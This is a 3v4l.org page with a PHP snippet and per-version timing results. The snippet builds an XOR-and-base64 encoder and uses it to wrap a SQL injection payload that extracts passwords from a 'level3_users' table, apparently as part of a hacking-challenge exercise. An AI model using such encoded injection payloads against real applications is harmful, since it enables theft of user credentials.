3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT password,2,3,4,5,6,7 FROM level3_users WHERE username=TheCow #"); print "\n"; print "\n"; #$handle = opendir('/'); #while (($file = readdir($handle)) !== false) # print $file. "\n"; #closedir($handle); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0080.01218.43
8.3.50.0130.00422.09
8.3.40.0090.00618.93
8.3.30.0120.00419.04
8.3.20.0030.00618.98
8.3.10.0000.00821.09
8.3.00.0070.00021.73
8.2.180.0000.01616.63
8.2.170.0120.00322.96
8.2.160.0140.00020.39
8.2.150.0000.00824.18
8.2.140.0030.00524.66
8.2.130.0040.00426.16
8.2.120.0060.00321.16
8.2.110.0080.00419.21
8.2.100.0040.00818.03
8.2.90.0000.00819.34
8.2.80.0080.00017.97
8.2.70.0040.00417.75
8.2.60.0060.00317.93
8.2.50.0040.00418.07
8.2.40.0030.00518.16
8.2.30.0040.00421.35
8.2.20.0090.00017.89
8.2.10.0000.00817.99
8.2.00.0030.00717.98
8.1.280.0040.01125.92
8.1.270.0000.00823.99
8.1.260.0040.00426.35
8.1.250.0070.00028.09
8.1.240.0000.00822.05
8.1.230.0060.00617.64
8.1.220.0000.00817.74
8.1.210.0040.00418.77
8.1.200.0000.00917.60
8.1.190.0080.00017.66
8.1.180.0000.00818.10
8.1.170.0030.00618.90
8.1.160.0050.00318.94
8.1.150.0080.00018.78
8.1.140.0000.00717.54
8.1.130.0000.00717.88
8.1.120.0050.00317.54
8.1.110.0050.00217.58
8.1.100.0030.00517.63
8.1.90.0040.00417.64
8.1.80.0030.00517.56
8.1.70.0030.00517.64
8.1.60.0000.00917.74
8.1.50.0000.00717.64
8.1.40.0020.00517.77
8.1.30.0080.00017.82
8.1.20.0030.00517.85
8.1.10.0000.00817.69
8.1.00.0030.00717.58
8.0.300.0030.00618.77
8.0.290.0000.00916.88
8.0.280.0000.00818.44
8.0.270.0030.00317.28
8.0.260.0030.00316.91
8.0.250.0030.00717.04
8.0.240.0030.00517.02
8.0.230.0030.00317.02
8.0.220.0000.00717.07
8.0.210.0030.00316.94
8.0.200.0000.00717.14
8.0.190.0070.00017.12
8.0.180.0040.00417.07
8.0.170.0000.00817.06
8.0.160.0040.00417.15
8.0.150.0040.00416.90
8.0.140.0000.00716.91
8.0.130.0000.00513.55
8.0.120.0050.00317.04
8.0.110.0040.00417.07
8.0.100.0000.00716.96
8.0.90.0000.00916.86
8.0.80.0070.00717.07
8.0.70.0040.00417.14
8.0.60.0000.00816.86
8.0.50.0080.00017.05
8.0.30.0180.00517.04
8.0.20.0130.00617.40
8.0.10.0030.00617.25
8.0.00.0070.01016.95
7.4.330.0050.00016.68
7.4.320.0000.00716.86
7.4.300.0030.00316.75
7.4.290.0060.00016.86
7.4.280.0000.00916.82
7.4.270.0030.00316.75
7.4.260.0030.00313.64
7.4.250.0000.00816.65
7.4.240.0030.00316.87
7.4.230.0070.00016.67
7.4.220.0100.01616.67
7.4.210.0080.00916.82
7.4.200.0000.00716.88
7.4.190.0030.00516.80
7.4.160.0070.01016.49
7.4.150.0200.00017.40
7.4.140.0070.01017.86
7.4.130.0140.00816.81
7.4.120.0130.00416.68
7.4.110.0090.00916.71
7.4.100.0090.00916.86
7.4.90.0090.00916.64
7.4.80.0140.00319.39
7.4.70.0100.00616.78
7.4.60.0060.01016.71
7.4.50.0000.00716.66
7.4.40.0000.01222.77
7.4.30.0120.00916.85
7.4.00.0090.01015.09
7.3.330.0000.00513.33
7.3.320.0130.00013.30
7.3.310.0080.00016.57
7.3.300.0040.00416.44
7.3.290.0070.00716.57
7.3.280.0080.01016.61
7.3.270.0090.01217.40
7.3.260.0120.01018.24
7.3.250.0160.00216.69
7.3.240.0070.01416.57
7.3.230.0140.00316.61
7.3.210.0060.01216.72
7.3.200.0120.00619.39
7.3.190.0090.00916.63
7.3.180.0090.00916.67
7.3.170.0160.00616.89
7.3.160.0090.00916.78
7.3.120.0080.00715.22
7.3.110.0100.00714.92
7.3.100.0060.01014.95
7.3.90.0040.01415.18
7.3.80.0070.00715.02
7.3.70.0090.00314.58
7.3.60.0070.01015.05
7.3.50.0090.00915.05
7.3.40.0030.00915.05
7.3.30.0060.01015.03
7.3.20.0060.00316.75
7.3.10.0080.00417.02
7.3.00.0080.00816.79
7.2.330.0160.00316.65
7.2.320.0070.01616.77
7.2.310.0070.01416.84
7.2.300.0080.00916.79
7.2.290.0030.01316.85
7.2.250.0040.01514.90
7.2.240.0090.00915.30
7.2.230.0040.01115.29
7.2.220.0080.00815.16
7.2.210.0060.01015.23
7.2.200.0070.00715.12
7.2.190.0060.01015.16
7.2.180.0030.00615.31
7.2.170.0040.00815.36
7.2.60.0090.00317.13
7.2.50.0100.00617.17
7.2.00.0160.01219.51
7.1.330.0130.00316.06
7.1.320.0060.00315.73
7.1.310.0030.00615.82
7.1.300.0070.01015.89
7.1.290.0000.01316.14
7.1.280.0030.01015.76
7.1.270.0100.00615.79
7.1.260.0030.00715.78
7.1.200.0220.00315.35
7.1.100.0030.00818.38
7.1.70.0030.00617.38
7.1.60.0100.01419.40
7.1.50.0100.01617.18
7.1.00.0100.07022.33
7.0.200.0220.00416.59
7.0.140.0030.07022.08
7.0.70.0500.03719.95
7.0.60.0930.07719.91
7.0.50.0430.05020.31
7.0.40.0100.08720.16
7.0.30.0030.06320.08
7.0.20.0070.06020.17
7.0.10.0130.07020.09
7.0.00.0100.08019.95
5.6.280.0100.06720.93
5.6.220.0030.04020.71
5.6.210.0070.07320.46
5.6.200.0130.05721.07
5.6.190.0170.07021.11
5.6.180.0070.07721.04
5.6.170.0100.05021.18
5.6.160.0100.04721.01
5.6.150.0130.08321.14
5.6.140.0000.09021.13
5.6.130.0030.07021.09
5.6.120.0030.09721.14
5.6.110.0100.06721.02
5.6.100.0130.06320.93
5.6.90.0070.06021.16
5.6.80.0070.08020.40
5.6.70.0130.07720.43
5.6.60.0000.06020.40
5.6.50.0030.07720.41
5.6.40.0070.07720.53
5.6.30.0070.08320.38
5.6.20.0130.03020.39
5.6.10.0100.05320.53
5.6.00.0070.04320.36
5.5.360.0030.04020.44
5.5.350.0130.08320.48
5.5.340.0130.05720.79
5.5.330.0030.08320.84
5.5.320.0130.04020.89
5.5.310.0270.07020.93
5.5.300.0100.08320.94
5.5.290.0130.07720.89
5.5.280.0070.08320.93
5.5.270.0070.08720.73
5.5.260.0070.08720.76
5.5.250.0130.07720.74
5.5.240.0100.07720.28
5.5.230.0070.08020.30
5.5.220.0070.07020.27
5.5.210.0100.08020.22
5.5.200.0070.05320.23
5.5.190.0030.08720.16
5.5.180.0030.05020.14
5.5.160.0070.05020.22
5.5.150.0070.08020.27
5.5.140.0070.06020.13
5.5.130.0030.04020.23
5.5.120.0000.04320.14
5.5.110.0030.04020.25
5.5.100.0030.06320.08
5.5.90.0000.08720.16
5.5.80.0100.07719.98
5.5.70.0000.08320.07
5.5.60.0130.07320.07
5.5.50.0030.09020.04
5.5.40.0070.08020.11
5.5.30.0130.06719.96
5.5.20.0030.08720.06
5.5.10.0130.07720.01
5.5.00.0070.06020.07
5.4.450.0070.08319.56
5.4.440.0000.09319.20
5.4.430.0030.09019.35
5.4.420.0070.08019.35
5.4.410.0130.07319.24
5.4.400.0030.07018.95
5.4.390.0030.08318.95
5.4.380.0070.05718.95
5.4.370.0030.06319.12
5.4.360.0100.07719.12
5.4.350.0000.08019.14
5.4.340.0130.07319.13
5.4.320.0030.04019.05
5.4.310.0030.04018.88
5.4.300.0000.06719.16
5.4.290.0030.04318.91
5.4.280.0030.04018.94
5.4.270.0000.04319.18
5.4.260.0030.03719.22
5.4.250.0000.08318.84
5.4.240.0070.07019.04
5.4.230.0100.05318.88
5.4.220.0170.06019.22
5.4.210.0030.08019.13
5.4.200.0130.07318.91
5.4.190.0100.07719.02
5.4.180.0070.07719.20
5.4.170.0100.07719.02
5.4.160.0070.08319.16
5.4.150.0070.06318.91
5.4.140.0100.05716.52
5.4.130.0100.03316.37
5.4.120.0070.06016.38
5.4.110.0100.06716.48
5.4.100.0030.05016.39
5.4.90.0130.06316.40
5.4.80.0100.07016.35
5.4.70.0030.05016.38
5.4.60.0100.07716.49
5.4.50.0000.08716.32
5.4.40.0030.08016.35
5.4.30.0030.07716.30
5.4.20.0030.08016.40
5.4.10.0100.07016.36
5.4.00.0070.07015.77
5.3.290.0100.06314.82
5.3.280.0000.06714.55
5.3.270.0100.07314.75
5.3.260.0070.07714.75
5.3.250.0070.08014.57
5.3.240.0030.04314.64
5.3.230.0000.08314.53
5.3.220.0030.08314.50
5.3.210.0070.08014.54
5.3.200.0070.07314.72
5.3.190.0100.07714.51
5.3.180.0000.07714.54
5.3.170.0170.06714.60
5.3.160.0030.08014.63
5.3.150.0030.08314.69
5.3.140.0030.05014.63
5.3.130.0030.07714.59
5.3.120.0030.08314.60
5.3.110.0000.07014.57
5.3.100.0070.07714.05
5.3.90.0000.05313.95
5.3.80.0070.07314.05
5.3.70.0000.06014.04
5.3.60.0070.07714.13
5.3.50.0030.07714.07
5.3.40.0070.07313.96
5.3.30.0130.07313.84
5.3.20.0100.07313.82
5.3.10.0030.08013.60
5.3.00.0200.06313.70
5.2.170.0070.04712.19
5.2.160.0000.04712.19
5.2.150.0130.05712.19
5.2.140.0000.07012.19
5.2.130.0130.05712.19
5.2.120.0030.06312.19
5.2.110.0000.07012.19
5.2.100.0070.06312.19
5.2.90.0100.06012.19
5.2.80.0030.06712.19
5.2.70.0100.05712.19
5.2.60.0030.05312.19
5.2.50.0100.05312.19
5.2.40.0000.06712.19
5.2.30.0030.06012.19
5.2.20.0030.04012.19
5.2.10.0070.06312.19
5.2.00.0130.05012.19
5.1.60.0030.05712.19
5.1.50.0000.04712.19
5.1.40.0030.05712.19
5.1.30.0030.06312.19
5.1.20.0030.05712.19
5.1.10.0070.05712.19
5.1.00.0000.06012.19
5.0.50.0000.05012.19
5.0.40.0100.03312.19
5.0.30.0000.06712.19
5.0.20.0000.04712.19
5.0.10.0000.04712.19
5.0.00.0000.04312.19
4.4.90.0000.04012.19
4.4.80.0070.01712.19
4.4.70.0000.04012.19
4.4.60.0000.04012.19
4.4.50.0030.03312.19
4.4.40.0030.05312.19
4.4.30.0000.04012.19
4.4.20.0030.03712.19
4.4.10.0030.02312.19
4.4.00.0000.05712.19
4.3.110.0030.03312.19
4.3.100.0030.03012.19
4.3.90.0000.02012.19
4.3.80.0070.05012.19
4.3.70.0000.03312.19
4.3.60.0030.03312.19
4.3.50.0030.03312.19
4.3.40.0070.04712.19
4.3.30.0000.02712.19
4.3.20.0030.03312.19
4.3.10.0000.02312.19
4.3.00.0030.03712.19

preferences:
43.97 ms | 401 KiB | 5 Q